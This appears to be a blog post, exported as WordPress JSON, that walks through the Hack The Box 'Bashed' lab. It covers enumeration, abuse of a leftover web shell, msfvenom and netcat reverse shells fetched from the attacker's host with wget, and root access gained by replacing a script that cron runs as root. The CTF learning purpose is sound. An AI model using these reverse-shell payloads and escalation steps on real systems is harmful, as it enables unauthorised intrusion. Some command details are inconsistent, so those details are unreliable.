{"id":504,"date":"2020-07-07T08:52:39","date_gmt":"2020-07-07T07:52:39","guid":{"rendered":"http:\/\/vroamam.com\/wordpress\/?p=504"},"modified":"2020-07-25T11:20:13","modified_gmt":"2020-07-25T10:20:13","slug":"bashed-htb-writeup","status":"publish","type":"post","link":"https:\/\/vroamam.com\/wordpress\/blog\/bashed-htb-writeup\/","title":{"rendered":"Bashed &#8211; HTB Writeup"},"content":{"rendered":"\n<p>Continuing the Practical Ethical Hacking course written and presented by The Cyber Mentor on Udemy, I attempted the next box in his Mid-Course Capstone &#8211; Bashed.<\/p>\n\n\n\n<p>This one I found very tough and I had to look to the course material for help, but it turns out I only found it tough because I didn&#8217;t pay enough attention to detail. <\/p>\n\n\n\n<p>There is a theme emerging here.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Recon<\/h3>\n\n\n\n<p>As we do at the start, I ran the <em>Nmap<\/em> scan as prescribed by TCM<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Nmap -A -T4 -p- 10.10.10.68<\/code><\/pre>\n\n\n\n<p>This brought back very little. The highlights were:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PORT   STATE SERVICE VERSION\n80\/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))\n|_http-server-header: Apache\/2.4.18 (Ubuntu)\n|_http-title: Arrexel's Development Site\nNo exact OS matches for host (If you know what OS is running on it, see https:\/\/nmap.org\/submit\/ ).\n<\/code><\/pre>\n\n\n\n<p>Key takeaways from that scan were<\/p>\n\n\n\n<p><strong>Open Ports<\/strong><br> &#8211;80<\/p>\n\n\n\n<p><strong>OS<\/strong><br> &#8211;Ubuntu (Nmap)<\/p>\n\n\n\n<p><strong>Applications<\/strong><br> &#8211;Apache 2.4.18<\/p>\n\n\n\n<p>The obvious target was Apache. So I ran a quick check with <em>searchsploit<\/em> and found nothing of any use.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"711\" height=\"632\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image.png\" alt=\"\" class=\"wp-image-507\"\/><\/figure>\n\n\n\n<p>Time to look at the website itself. The opening page is just a list of posts, none of the links go anywhere when you hover over them, but there is one blog post that you can browse to<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1551\" height=\"769\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-1.png\" alt=\"\" class=\"wp-image-508\" srcset=\"https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-1.png 1551w, https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-1-1000x496.png 1000w, https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-1-768x381.png 768w, https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-1-1536x762.png 1536w\" sizes=\"auto, (max-width: 1551px) 100vw, 1551px\" \/><\/figure>\n\n\n\n<p>Let&#8217;s take a look at that single blog post in more detail.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1551\" height=\"769\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-2.png\" alt=\"\" class=\"wp-image-509\" srcset=\"https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-2.png 1551w, https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-2-1000x496.png 1000w, https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-2-768x381.png 768w, https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-2-1536x762.png 1536w\" sizes=\"auto, (max-width: 1551px) 100vw, 1551px\" \/><\/figure>\n\n\n\n<p>This is where I messed up. I didn&#8217;t pay nearly enough attention to this page and completely missed the point of it entirely by expecting there to be some vulnerability\/exploit and not that the page itself would be the clue. So what do we see here<\/p>\n\n\n\n<p>Starting with the text:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"688\" height=\"106\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-32.png\" alt=\"\" class=\"wp-image-546\"\/><\/figure>\n\n\n\n<p>The site actually tells us that the author developed a pentesting tool on this server. He also links to his own GitHub&#8230; what does github say about phpbash?<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"891\" height=\"170\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-6.png\" alt=\"\" class=\"wp-image-514\" srcset=\"https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-6.png 891w, https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-6-768x147.png 768w\" sizes=\"auto, (max-width: 891px) 100vw, 891px\" \/><\/figure>\n\n\n\n<p>So this server was used to develop a php based web shell, getting the idea yet?<\/p>\n\n\n\n<p>The video that runs underneath the text seems to suggest there is an uploads directory<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"734\" height=\"184\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-7.png\" alt=\"\" class=\"wp-image-515\"\/><\/figure>\n\n\n\n<p>Browsing to that folder reveals nothing, but what other directories might exist? Time to look for other directories\/folders. I used <em>Dirbuster<\/em>, solely because it&#8217;s what is used throughout the course, reviewing the results of the search I found phpbash.php in a Dev folder &#8211; phpbash was the pentesting tool developed on this server (remember the github explanation) <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"841\" height=\"488\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-8.png\" alt=\"\" class=\"wp-image-516\" srcset=\"https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-8.png 841w, https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-8-768x446.png 768w\" sizes=\"auto, (max-width: 841px) 100vw, 841px\" \/><\/figure>\n\n\n\n<p>It seems sensible to at least try and load that and see what happens browse to http:\/\/10.10.10.68\/dev\/phpbash.php<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1565\" height=\"883\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-9.png\" alt=\"\" class=\"wp-image-517\" srcset=\"https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-9.png 1565w, https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-9-1000x564.png 1000w, https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-9-768x433.png 768w, https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-9-1536x867.png 1536w\" sizes=\"auto, (max-width: 1565px) 100vw, 1565px\" \/><\/figure>\n\n\n\n<p>I missed this completely, I initially thought it was just an information leak, but that cursor at the bottom is flashing&#8230; its a live shell, so who are we and what permissions do we have? <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>whoami<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"481\" height=\"122\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-10.png\" alt=\"\" class=\"wp-image-518\"\/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo -l<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"945\" height=\"197\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-11.png\" alt=\"\" class=\"wp-image-519\" srcset=\"https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-11.png 945w, https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-11-768x160.png 768w\" sizes=\"auto, (max-width: 945px) 100vw, 945px\" \/><\/figure>\n\n\n\n<p>Ok, so we are www-data and appear to be a normal user with some sudo privileges for the user scriptmanager. <\/p>\n\n\n\n<p>What can we find, lets have a look around &#8211; where are we now<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>pwd<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"519\" height=\"129\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-12.png\" alt=\"\" class=\"wp-image-520\"\/><\/figure>\n\n\n\n<p>Are there any user folders?<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">cd \/home\nls<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"490\" height=\"156\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-14.png\" alt=\"\" class=\"wp-image-522\"\/><\/figure>\n\n\n\n<p>Two user directories, check them and you&#8217;ll find the user flag<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Privesc<\/h3>\n\n\n\n<p><strong>NOTE: I did this over several days and my LHOST IP changes throughout the images and narrative. Make sure you use YOUR LHOST  IP Address<\/strong><\/p>\n\n\n\n<p>So far we do only have user permissions, how can we increase our privileges. Remember the sudo -l at the start, we can do some things as the user scriptmanager lets try<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo su scriptmanager<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"490\" height=\"156\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-16.png\" alt=\"\" class=\"wp-image-525\"\/><\/figure>\n\n\n\n<p>That hasn&#8217;t worked. We need a proper shell to proceed. So to &#8220;earn&#8221; the flags having turned to the course material for some pointers, I decided I would do this first with <em>meterpreter<\/em>\/<em>msfvenom<\/em> and then without<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Reverse shell using meterpreter\/msfvenom<\/h4>\n\n\n\n<p>Lets generate the payload file using <em>msfvenom<\/em> A quick google search helps us with the command<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfvenom -p php\/meterpreter_reverse_tcp LHOST=10.10.14.10 LPORT=4444 -f raw > shell.php<\/code><\/pre>\n\n\n\n<p>Start <em>SimpleHTTPServer<\/em> to serve up the payload file<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">sudo python3 -m http.server 80 \nor \nsudo python -m SimpleHTTPServer 80<\/pre>\n\n\n\n<p>Navigate to the uploads directory using the phpbash shell and use <em>wget<\/em> to upload the payload file<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cd \/var\/www\/html\/uploads\nwget http:\/\/10.10.14.21\/shell.php<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"849\" height=\"288\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-40.png\" alt=\"\" class=\"wp-image-560\" srcset=\"https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-40.png 849w, https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-40-768x261.png 768w\" sizes=\"auto, (max-width: 849px) 100vw, 849px\" \/><\/figure>\n\n\n\n<p>Start a reverse handler in <em>metasploit<\/em><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfconsole\nuse exploit\/multi\/handler\nset lhost 10.10.14.21\nset lport 4444\nset payload php\/meterpreter_reverse_tcp\nrun<\/code><\/pre>\n\n\n\n<p>Run the payload file by browsing to it http:\/\/10.10.14.21\/shell.php<\/p>\n\n\n\n<p><em>Meterpreter<\/em> reverse shell should start<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"821\" height=\"246\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-17.png\" alt=\"\" class=\"wp-image-529\" srcset=\"https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-17.png 821w, https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-17-768x230.png 768w\" sizes=\"auto, (max-width: 821px) 100vw, 821px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Reverse shell WITHOUT Meterpreter<\/h3>\n\n\n\n<p>There is an alternate route to the PHP reverse shell that doesn&#8217;t require <em>Metasploit<\/em>. Check out <a href=\"https:\/\/pentestmonkey.net\">https:\/\/pentestmonkey.net<\/a> where pentestmonkey  has kindly gathered a list of reverse shells in various languages\/script readily available. Lets try the PHP reverse shell, downloaded the &#8220;feature rich and robust&#8221; version he has linked. <\/p>\n\n\n\n<p>Extract the file from the TAR and edit the appropriate lines to match your IP address (LHOST) and port (LPORT) and save the changes. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"347\" height=\"104\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-18.png\" alt=\"\" class=\"wp-image-530\"\/><\/figure>\n\n\n\n<p>Put the file somewhere it can be served up by <em>SimpleHTTPServer<\/em>, Go back to the phpbash shell make sure you are in the uploads folder and use <em>wget<\/em> to upload the new php file you just created.<\/p>\n\n\n\n<p>Start a <em>netcat <\/em>listener using the port you put into the php file.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nc -nvlp 1234<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-20.png\" alt=\"This image has an empty alt attribute; its file name is image-20.png\"\/><\/figure>\n\n\n\n<p>Run the reverse shell file, open a new tab in your browser and load the page, I called mine rev.php so my URL looks like this  &#8211; http:\/\/10.10.14.10\/rev.php &#8211; change the filename to whatever you used.<\/p>\n\n\n\n<p>Ok so now we have a &#8220;proper&#8221; shell we can see what we can do. We are still www-data at this point<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"464\" height=\"41\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-21.png\" alt=\"\" class=\"wp-image-533\"\/><figcaption>meterpreter<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"386\" height=\"37\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-26.png\" alt=\"\" class=\"wp-image-538\"\/><figcaption>netcat<\/figcaption><\/figure>\n\n\n\n<p>Lets have a browse around, I started by going to the top folder and listing out all files.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">cd \/\nls -al<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"941\" height=\"493\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-23.png\" alt=\"\" class=\"wp-image-535\" srcset=\"https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-23.png 941w, https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-23-768x402.png 768w\" sizes=\"auto, (max-width: 941px) 100vw, 941px\" \/><\/figure>\n\n\n\n<p>The standout here is the scripts folder, lets try and have a closer look.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"386\" height=\"37\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-28.png\" alt=\"\" class=\"wp-image-540\"\/><figcaption>meterpreter<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"386\" height=\"37\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-27.png\" alt=\"\" class=\"wp-image-539\"\/><figcaption>netcat<\/figcaption><\/figure>\n\n\n\n<p>That didn&#8217;t work. Why? Because the folder is owned by scriptmanager and we are still www-data. As I recall we have some sudo rights to scriptmanager so lets see if we can sudo to that user. If you are using meterpreter, you&#8217;ll need to drop into a shell. Type the command &#8220;shell&#8221;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo su scriptmanager<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"386\" height=\"130\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-29.png\" alt=\"\" class=\"wp-image-541\"\/><figcaption>meterpreter<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"446\" height=\"58\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-30.png\" alt=\"\" class=\"wp-image-542\"\/><figcaption>netcat<\/figcaption><\/figure>\n\n\n\n<p>That didn&#8217;t work, lets see if we can run programs as scriptmanager. In this case lets see if we can start a new shell as that user.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo -u scriptmanager \/bin\/bash<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"446\" height=\"62\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-31.png\" alt=\"\" class=\"wp-image-543\"\/><\/figure>\n\n\n\n<p>Regardless of which reverse shell you are using the output should now be the same and you should have elevated your privileges to the scriptmanager user.<\/p>\n\n\n\n<p>Lets go and checkout that scripts folder<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">cd scripts\nls -al<\/pre>\n\n\n\n<p>We can see in the listing that there are two files, test.py and test.txt lets have a look at whats inside them. <\/p>\n\n\n\n<p>I was let down here by my own attention to detail and needed a pointer from my course material but checkout the creation time on the .txt file against the local system time.<\/p>\n\n\n\n<p>I missed this, it&#8217;s a reminder to me that I have to pay attention to every detail no matter how small and maybe to include an audit of scheduled tasks\/cron jobs if I can get it. The datetime stamp on the txt file changes every minute. That suggests its been run as a scheduled task.<\/p>\n\n\n\n<p>Also note that the .txt file is owned by root so the python task is probably being run as root. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"613\" height=\"165\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-36.png\" alt=\"\" class=\"wp-image-555\"\/><\/figure>\n\n\n\n<p>If we can replace that .py file with our own malicious file then we can get a shell and if it&#8217;s run as root the shell will  be in the context of the root user.<\/p>\n\n\n\n<p>So to &#8216;earn&#8217; the flags here I did the same again, two different reverse shells, first without meterpreter<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Python Reverse Shell WITHOUT Meterpreter<\/h3>\n\n\n\n<p>Lets go back and look at pentestmonkey&#8217;s list of reverse shells &#8211; yep there is a python one (feel free to write your own if you wish)<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"702\" height=\"152\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-34.png\" alt=\"\" class=\"wp-image-550\"\/><figcaption><a href=\"http:\/\/pentestmonkey.net\/cheat-sheet\/shells\/reverse-shell-cheat-sheet\">http:\/\/pentestmonkey.net\/cheat-sheet\/shells\/reverse-shell-cheat-sheet<\/a><\/figcaption><\/figure>\n\n\n\n<p>Copy and past the code and save the file as test.py &#8211; remember to change the IP and port in the highlighted section above to match your LHOST and LPORT, you might also want to try and change the shell to run \/bin\/bash instead of \/bin\/sh<\/p>\n\n\n\n<p>Start a <em>netcat<\/em> listener on the port you configured in the script then upload it to the folder the same way we did earlier with <em>SimpleHTTPServer<\/em> and <em>wget<\/em> and wait.<\/p>\n\n\n\n<p>Once the task re-runs, assuming you&#8217;ve configured everything correctly, you should see you listener connect and you shoujld have a shell running as root.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"630\" height=\"266\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-37.png\" alt=\"\" class=\"wp-image-556\"\/><figcaption>Reverse shell as root<\/figcaption><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Python Reverse Shell Using meterpreter\/msfvenom<\/h3>\n\n\n\n<p>So that I had done something on my own and to extend my learning and practice further, I chose to redo the last stage with a meterpreter reverse shell.<\/p>\n\n\n\n<p> I loaded Metasploit, loaded exploit\/multi\/handler and did show payloads<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfconsole\nuse exploit\/multi\/handler\nshow payloads<\/code><\/pre>\n\n\n\n<p>Looking at the list I chose what I believe to be a staged reverse TCP shell payload and created the file with msfvenom<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfvenom -p python\/meterpreter\/reverse_tcp LHOST=10.10.14.21 LPORT=4444 -f raw > test_3.php<\/code><\/pre>\n\n\n\n<p>I then removed the old test.py and uploaded the payload using wget and SimpleHTTPServer  <\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">rm -f test.py\nwget http:\/\/10.10.14.21\/test_3.py -O test.py\n<\/pre>\n\n\n\n<p>On this occasion I had saved the payload with a different name so as not to overwrite the earlier one, I used the wget switch -O to change the name during transfer.<\/p>\n\n\n\n<p>Once uploaded, it&#8217;s just a matter of waiting for the cron job to run and the shell to appear, it shouldn&#8217;t take more than a minute.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"849\" height=\"288\" src=\"http:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-38.png\" alt=\"\" class=\"wp-image-557\" srcset=\"https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-38.png 849w, https:\/\/vroamam.com\/wordpress\/wp-content\/uploads\/2020\/07\/image-38-768x261.png 768w\" sizes=\"auto, (max-width: 849px) 100vw, 849px\" \/><\/figure>\n\n\n\n<p>I&#8217;ll leave the rest to you.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Continuing the Practical Ethical Hacking course written and presented by The Cyber Mentor on Udemy, I attempted the next box in his Mid-Course Capstone &#8211; Bashed.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"","ocean_second_sidebar":"","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"","ocean_custom_header_template":"","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"","ocean_menu_typo_font_family":"","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_weight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_menu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"","jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"on","ocean_gallery_id":[],"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[87,2,86,3],"tags":[88,7,6,85,91],"class_list":["post-504","post","type-post","status-publish","format-standard","hentry","category-ctf","category-cybersec","category-hackthebox","category-training","tag-ctf","tag-cyber-security","tag-ethical-hacking","tag-hackthebox","tag-htb","entry"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_shortlink":"https:\/\/wp.me\/pahuGk-88","jetpack_likes_enabled":true,"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/vroamam.com\/wordpress\/wp-json\/wp\/v2\/posts\/504","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/vroamam.com\/wordpress\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/vroamam.com\/wordpress\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/vroamam.com\/wordpress\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/vroamam.com\/wordpress\/wp-json\/wp\/v2\/comments?post=504"}],"version-history":[{"count":20,"href":"https:\/\/vroamam.com\/wordpress\/wp-json\/wp\/v2\/posts\/504\/revisions"}],"predecessor-version":[{"id":569,"href":"https:\/\/vroamam.com\/wordpress\/wp-json\/wp\/v2\/posts\/504\/revisions\/569"}],"wp:attachment":[{"href":"https:\/\/vroamam.com\/wordpress\/wp-json\/wp\/v2\/media?parent=504"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/vroamam.com\/wordpress\/wp-json\/wp\/v2\/categories?post=504"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/vroamam.com\/wordpress\/wp-json\/wp\/v2\/tags?post=504"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}